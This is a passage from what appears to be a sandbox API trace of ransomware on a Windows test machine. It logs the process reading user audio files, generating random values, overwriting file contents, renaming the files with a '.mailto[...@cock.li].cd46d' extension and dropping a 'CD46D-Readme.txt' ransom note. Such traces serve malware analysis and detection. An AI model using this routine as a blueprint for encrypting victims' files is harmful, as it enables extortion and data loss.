HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\c3E_hx.wav", dwFileAttributes=0x20) returned 1 [0052.827] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\c3E_hx.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\liivgkdkeoh24m -\\c3e_hx.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe64 [0052.827] GetFileSizeEx (in: hFile=0xe64, lpFileSize=0xe2afc44 | out: lpFileSize=0xe2afc44*=88220) returned 1 [0052.827] SetFilePointerEx (in: hFile=0xe64, liDistanceToMove=0x15898, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.827] ReadFile (in: hFile=0xe64, lpBuffer=0xe2afbc8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xe2afbc4, lpOverlapped=0x0 | out: lpBuffer=0xe2afbc8*, lpNumberOfBytesRead=0xe2afbc4*=0x4, lpOverlapped=0x0) returned 1 [0052.828] SetFilePointerEx (in: hFile=0xe64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.828] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e97b0 [0052.828] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428b40 [0052.828] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428bb8 [0052.828] NtQuerySystemTime (in: CurrentTime=0xe2afba4 | out: CurrentTime=0xe2afba4*=132174898168140000) returned 0x0 [0052.828] RtlRandomEx (in: Seed=0xe2afbb0 | out: Seed=0xe2afbb0) returned 0x5a3fd3be [0052.828] RtlRandomEx (in: Seed=0xe2afbb0 | out: Seed=0xe2afbb0) returned 0x4f0f4dd9 [0052.828] RtlRandomEx (in: Seed=0xe2afbb0 | out: Seed=0xe2afbb0) returned 0x1aebaec [0052.828] RtlRandomEx (in: Seed=0xe2afbb0 | out: Seed=0xe2afbb0) returned 0x29426300 [0052.829] RtlRandomEx (in: Seed=0xe2afbb0 | out: Seed=0xe2afbb0) returned 0x5d9ed59a [0052.829] RtlRandomEx (in: Seed=0xe2afbb0 | out: Seed=0xe2afbb0) returned 0x30469c30 [0052.829] RtlRandomEx (in: Seed=0xe2afbb0 | out: Seed=0xe2afbb0) returned 0x6435f6e1 [0052.829] RtlRandomEx (in: Seed=0xe2afbb0 | out: Seed=0xe2afbb0) returned 0xdd97348 [0052.829] RtlRandomEx (in: Seed=0xe2afbb0 | out: Seed=0xe2afbb0) returned 0xf5e8b68 [0052.829] RtlRandomEx (in: Seed=0xe2afbb0 | out: Seed=0xe2afbb0) returned 0x4c55b7dd [0052.829] RtlRandomEx (in: Seed=0xe2afbb0 | out: Seed=0xe2afbb0) returned 0x7a3ad535 [0052.829] RtlRandomEx (in: Seed=0xe2afbb0 | out: Seed=0xe2afbb0) returned 0x7f3b07cd [0052.829] RtlRandomEx (in: Seed=0xe2afbb0 | out: Seed=0xe2afbb0) returned 0x1d6d4517 [0052.829] RtlRandomEx (in: Seed=0xe2afbb0 | out: Seed=0xe2afbb0) returned 0x641a9004 [0052.829] RtlRandomEx (in: Seed=0xe2afbb0 | out: Seed=0xe2afbb0) returned 0x7621df6d [0052.829] RtlRandomEx (in: Seed=0xe2afbb0 | out: Seed=0xe2afbb0) returned 0x4171a6f4 [0052.829] RtlRandomEx (in: Seed=0xe2afbb0 | out: Seed=0xe2afbb0) returned 0x1c7cb871 [0052.829] RtlRandomEx (in: Seed=0xe2afbb0 | out: Seed=0xe2afbb0) returned 0x5d2acbcf [0052.829] RtlRandomEx (in: Seed=0xe2afbb0 | out: Seed=0xe2afbb0) returned 0x11ca4f63 [0052.829] RtlRandomEx (in: Seed=0xe2afbb0 | out: Seed=0xe2afbb0) returned 0x3ebc209d [0052.829] RtlRandomEx (in: Seed=0xe2afbb0 | out: Seed=0xe2afbb0) returned 0x60a81c04 [0052.829] RtlRandomEx (in: Seed=0xe2afbb0 | out: Seed=0xe2afbb0) returned 0x23f25a7f [0052.829] RtlRandomEx (in: Seed=0xe2afbb0 | out: Seed=0xe2afbb0) returned 0x72192d07 [0052.829] RtlRandomEx (in: Seed=0xe2afbb0 | out: Seed=0xe2afbb0) returned 0x6ad4fae2 [0052.829] RtlRandomEx (in: Seed=0xe2afbb0 | out: Seed=0xe2afbb0) returned 0x891e3fd [0052.829] RtlRandomEx (in: Seed=0xe2afbb0 | out: Seed=0xe2afbb0) returned 0x42459f5e [0052.829] RtlRandomEx (in: Seed=0xe2afbb0 | out: Seed=0xe2afbb0) returned 0x66194b4e [0052.829] RtlRandomEx (in: Seed=0xe2afbb0 | out: Seed=0xe2afbb0) returned 0x2bef3552 [0052.829] RtlRandomEx (in: Seed=0xe2afbb0 | out: Seed=0xe2afbb0) returned 0x38055064 [0052.829] RtlRandomEx (in: Seed=0xe2afbb0 | out: Seed=0xe2afbb0) returned 0x38d511e8 [0052.829] RtlRandomEx (in: Seed=0xe2afbb0 | out: Seed=0xe2afbb0) returned 0x52675ef2 [0052.829] RtlRandomEx (in: Seed=0xe2afbb0 | out: Seed=0xe2afbb0) returned 0x454ea073 [0052.842] SetFilePointerEx (in: hFile=0xe64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.842] ReadFile (in: hFile=0xe64, lpBuffer=0x19653940, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xe2afb84, lpOverlapped=0x0 | out: lpBuffer=0x19653940*, lpNumberOfBytesRead=0xe2afb84*=0xc800, lpOverlapped=0x0) returned 1 [0052.842] SetFilePointerEx (in: hFile=0xe64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.842] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c120 [0052.842] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437760 [0052.842] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e97b0 [0052.842] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e97b0) returned 1 [0052.843] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x19660148 [0052.847] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e97b0 [0052.847] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428bb8 [0052.847] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428bb8) returned 1 [0052.847] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437760) returned 1 [0052.847] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c120) returned 1 [0052.847] WriteFile (in: hFile=0xe64, lpBuffer=0x19660148*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xe2afb84, lpOverlapped=0x0 | out: lpBuffer=0x19660148*, lpNumberOfBytesWritten=0xe2afb84*=0xc800, lpOverlapped=0x0) returned 1 [0056.473] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19660148) returned 1 [0056.473] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19653940) returned 1 [0056.473] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x21) returned 0x97ced20 [0056.473] SetFilePointerEx (in: hFile=0xe64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.473] WriteFile (in: hFile=0xe64, lpBuffer=0x196d0bc0*, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0xe2afc04, lpOverlapped=0x0 | out: lpBuffer=0x196d0bc0*, lpNumberOfBytesWritten=0xe2afc04*=0x105, lpOverlapped=0x0) returned 1 [0056.601] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x196d0bc0) returned 1 [0056.601] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ced50) returned 1 [0056.601] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edfc0) returned 1 [0056.601] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ced20) returned 1 [0056.601] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e97b0) returned 1 [0056.601] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428b40) returned 1 [0056.601] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428be0) returned 1 [0056.601] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428c08) returned 1 [0056.601] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd6) returned 0x4d4700 [0056.601] wcscpy (in: _Dest=0x4d4700, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\c3E_hx.wav" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\c3E_hx.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\c3E_hx.wav" [0056.601] wcscat (in: _Dest=0x4d4700, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\c3E_hx.wav.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\c3E_hx.wav.mailto[2Hamlampampom@cock.li].cd46d" [0056.601] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\c3E_hx.wav.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xe2afbbc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\c3E_hx.wav.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0056.601] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xec) returned 0x4de000 [0056.639] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4de000) returned 1 [0056.639] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d95e8) returned 1 [0056.639] NtQueryInformationFile (in: FileHandle=0xe64, IoStatusBlock=0xe2afbc8, FileInformation=0xe2afba0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xe2afbc8, FileInformation=0xe2afba0) returned 0x0 [0056.639] NtSetInformationFile (FileHandle=0xe64, IoStatusBlock=0xe2afbc8, FileInformation=0xe2afba0, Length=0x28, FileInformationClass=0x4) returned 0x0 [0056.658] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d4700) returned 1 [0056.658] FlushFileBuffers (hFile=0xe64) returned 1 [0056.663] CloseHandle (hObject=0xe64) returned 1 [0056.680] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9c) returned 0x43f028 [0056.680] wcscpy (in: _Dest=0x43f028, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\" [0056.680] wcscat (in: _Dest=0x43f028, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\CD46D-Readme.txt" [0056.680] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\liivgkdkeoh24m -\\cd46d-readme.txt")) returned 0xffffffff [0056.680] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\liivgkdkeoh24m -\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xd2c [0056.692] WriteFile (in: hFile=0xd2c, lpBuffer=0x419f90*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0xe2afbc4, lpOverlapped=0x0 | out: lpBuffer=0x419f90*, lpNumberOfBytesWritten=0xe2afbc4*=0x6fd, lpOverlapped=0x0) returned 1 [0056.699] CloseHandle (hObject=0xd2c) returned 1 [0056.704] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43f028) returned 1 [0056.704] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4386e8) returned 1 Thread: id = 836 os_tid = 0x10ec [0051.732] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\LPhwUpOrL.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\liivgkdkeoh24m -\\lphwuporl.mp3")) returned 0x20 [0051.732] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\LPhwUpOrL.mp3", dwFileAttributes=0x20) returned 1 [0052.847] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\LPhwUpOrL.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\liivgkdkeoh24m -\\lphwuporl.mp3"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe68 [0052.848] GetFileSizeEx (in: hFile=0xe68, lpFileSize=0xa38fe40 | out: lpFileSize=0xa38fe40*=76817) returned 1 [0052.848] SetFilePointerEx (in: hFile=0xe68, liDistanceToMove=0x12c0d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.848] ReadFile (in: hFile=0xe68, lpBuffer=0xa38fdc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa38fdc0, lpOverlapped=0x0 | out: lpBuffer=0xa38fdc4*, lpNumberOfBytesRead=0xa38fdc0*=0x4, lpOverlapped=0x0) returned 1 [0052.848] SetFilePointerEx (in: hFile=0xe68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.849] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428bb8 [0052.849] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428c30 [0052.849] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428c58 [0052.849] NtQuerySystemTime (in: CurrentTime=0xa38fda0 | out: CurrentTime=0xa38fda0*=132174898168296000) returned 0x0 [0052.849] RtlRandomEx (in: Seed=0xa38fdac | out: Seed=0xa38fdac) returned 0x255f2971 [0052.849] RtlRandomEx (in: Seed=0xa38fdac | out: Seed=0xa38fdac) returned 0x5cdf6350 [0052.849] RtlRandomEx (in: Seed=0xa38fdac | out: Seed=0xa38fdac) returned 0x6cdd5a2d [0052.849] RtlRandomEx (in: Seed=0xa38fdac | out: Seed=0xa38fdac) returned 0x5238b439 [0052.849] RtlRandomEx (in: Seed=0xa38fdac | out: Seed=0xa38fdac) returned 0x7d03d16c [0052.849] RtlRandomEx (in: Seed=0xa38fdac | out: Seed=0xa38fdac) returned 0x3673c6e4 [0052.849] RtlRandomEx (in: Seed=0xa38fdac | out: Seed=0xa38fdac) returned 0x6e512421 [0052.849] RtlRandomEx (in: Seed=0xa38fdac | out: Seed=0xa38fdac) returned 0x6e005f04 [0052.849] RtlRandomEx (in: Seed=0xa38fdac | out: Seed=0xa38fdac) returned 0x16c5b4b1 [0052.849] RtlRandomEx (in: Seed=0xa38fdac | out: Seed=0xa38fdac) returned 0x7f777c73 [0052.849] RtlRandomEx (in: Seed=0xa38fdac | out: Seed=0xa38fdac) returned 0x15a87183 [0052.849] RtlRandomEx (in: Seed=0xa38fdac | out: Seed=0xa38fdac) returned 0x54ce9c76 [0052.849] RtlRandomEx (in: Seed=0xa38fdac | out: Seed=0xa38fdac) returned 0x67dd01f8 [0052.849] RtlRandomEx (in: Seed=0xa38fdac | out: Seed=0xa38fdac) returned 0x5e76238a [0052.849] RtlRandomEx (in: Seed=0xa38fdac | out: Seed=0xa38fdac) returned 0x7434a3e3 [0052.849] RtlRandomEx (in: Seed=0xa38fdac | out: Seed=0xa38fdac) returned 0x4eb54685 [0052.849] RtlRandomEx (in: Seed=0xa38fdac | out: Seed=0xa38fdac) returned 0x58a49045 [0052.849] RtlRandomEx (in: Seed=0xa38fdac | out: Seed=0xa38fdac) returned 0x54c37a00 [0052.849] RtlRandomEx (in: Seed=0xa38fdac | out: Seed=0xa38fdac) returned 0x642af8dd [0052.849] RtlRandomEx (in: Seed=0xa38fdac | out: Seed=0xa38fdac) returned 0x3ba09883 [0052.849] RtlRandomEx (in: Seed=0xa38fdac | out: Seed=0xa38fdac) returned 0x69b928d6 [0052.849] RtlRandomEx (in: Seed=0xa38fdac | out: Seed=0xa38fdac) returned 0x34da34e7 [0052.849] RtlRandomEx (in: Seed=0xa38fdac | out: Seed=0xa38fdac) returned 0x70ec8676 [0052.849] RtlRandomEx (in: Seed=0xa38fdac | out: Seed=0xa38fdac) returned 0x5048207e [0052.849] RtlRandomEx (in: Seed=0xa38fdac | out: Seed=0xa38fdac) returned 0x380353b6 [0052.849] RtlRandomEx (in: Seed=0xa38fdac | out: Seed=0xa38fdac) returned 0xb514c9 [0052.849] RtlRandomEx (in: Seed=0xa38fdac | out: Seed=0xa38fdac) returned 0x724b6e1f [0052.850] RtlRandomEx (in: Seed=0xa38fdac | out: Seed=0xa38fdac) returned 0xb1b05fe [0052.850] RtlRandomEx (in: Seed=0xa38fdac | out: Seed=0xa38fdac) returned 0x4ad42f14 [0052.850] RtlRandomEx (in: Seed=0xa38fdac | out: Seed=0xa38fdac) returned 0xcb64f56 [0052.850] RtlRandomEx (in: Seed=0xa38fdac | out: Seed=0xa38fdac) returned 0x6d5de46d [0052.850] RtlRandomEx (in: Seed=0xa38fdac | out: Seed=0xa38fdac) returned 0xa416bb8 [0052.862] SetFilePointerEx (in: hFile=0xe68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.862] ReadFile (in: hFile=0xe68, lpBuffer=0x1966c950, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xa38fd80, lpOverlapped=0x0 | out: lpBuffer=0x1966c950*, lpNumberOfBytesRead=0xa38fd80*=0xc800, lpOverlapped=0x0) returned 1 [0052.862] SetFilePointerEx (in: hFile=0xe68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.862] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c120 [0052.862] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437760 [0052.862] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428bb8 [0052.862] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428bb8) returned 1 [0052.863] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x19679158 [0052.868] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428bb8 [0052.868] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428c58 [0052.868] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428c58) returned 1 [0052.868] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437760) returned 1 [0052.868] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c120) returned 1 [0052.868] WriteFile (in: hFile=0xe68, lpBuffer=0x19679158*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xa38fd80, lpOverlapped=0x0 | out: lpBuffer=0x19679158*, lpNumberOfBytesWritten=0xa38fd80*=0xc800, lpOverlapped=0x0) returned 1 [0056.475] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19679158) returned 1 [0056.475] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x1966c950) returned 1 [0056.486] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x27) returned 0x97ced80 [0056.486] SetFilePointerEx (in: hFile=0xe68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.486] WriteFile (in: hFile=0xe68, lpBuffer=0x196d0cd0*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0xa38fe00, lpOverlapped=0x0 | out: lpBuffer=0x196d0cd0*, lpNumberOfBytesWritten=0xa38fe00*=0x10b, lpOverlapped=0x0) returned 1 [0056.606] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x196d0cd0) returned 1 [0056.606] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cedb0) returned 1 [0056.606] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edf98) returned 1 [0056.606] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ced80) returned 1 [0056.606] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428bb8) returned 1 [0056.606] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428c30) returned 1 [0056.606] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428c80) returned 1 [0056.606] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428ca8) returned 1 [0056.606] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xdc) returned 0x196d0bc0 [0056.606] wcscpy (in: _Dest=0x196d0bc0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\LPhwUpOrL.mp3" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\LPhwUpOrL.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\LPhwUpOrL.mp3" [0056.606] wcscat (in: _Dest=0x196d0bc0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\LPhwUpOrL.mp3.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\LPhwUpOrL.mp3.mailto[2Hamlampampom@cock.li].cd46d" [0056.606] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\LPhwUpOrL.mp3.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xa38fdb8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\LPhwUpOrL.mp3.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0056.606] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xf2) returned 0x41c3b8 [0056.739] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x41c3b8) returned 1 [0056.739] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d9810) returned 1 [0056.739] NtQueryInformationFile (in: FileHandle=0xe68, IoStatusBlock=0xa38fdc4, FileInformation=0xa38fd9c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xa38fdc4, FileInformation=0xa38fd9c) returned 0x0 [0056.739] NtSetInformationFile (FileHandle=0xe68, IoStatusBlock=0xa38fdc4, FileInformation=0xa38fd9c, Length=0x28, FileInformationClass=0x4) returned 0x0 [0056.741] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x196d0bc0) returned 1 [0056.741] FlushFileBuffers (hFile=0xe68) returned 1 [0056.813] CloseHandle (hObject=0xe68) returned 1 [0056.834] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9c) returned 0x43f028 [0056.834] wcscpy (in: _Dest=0x43f028, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\" [0056.834] wcscat (in: _Dest=0x43f028, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\CD46D-Readme.txt" [0056.834] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\liivgkdkeoh24m -\\cd46d-readme.txt")) returned 0x20 [0056.834] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43f028) returned 1 [0056.834] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ee658) returned 1 Thread: id = 837 os_tid = 0x10f0 [0051.733] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\shCN4ATU4.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\liivgkdkeoh24m -\\shcn4atu4.mp3")) returned 0x20 [0051.733] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\shCN4ATU4.mp3", dwFileAttributes=0x20) returned 1 [0052.868] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\shCN4ATU4.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\liivgkdkeoh24m -\\shcn4atu4.mp3"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe6c [0052.868] GetFileSizeEx (in: hFile=0xe6c, lpFileSize=0x151ffb50 | out: lpFileSize=0x151ffb50*=6539) returned 1 [0052.868] SetFilePointerEx (in: hFile=0xe6c, liDistanceToMove=0x1987, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.868] ReadFile (in: hFile=0xe6c, lpBuffer=0x151ffad4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x151ffad0, lpOverlapped=0x0 | out: lpBuffer=0x151ffad4*, lpNumberOfBytesRead=0x151ffad0*=0x4, lpOverlapped=0x0) returned 1 [0052.869] SetFilePointerEx (in: hFile=0xe6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.869] RtlAllocateHeap 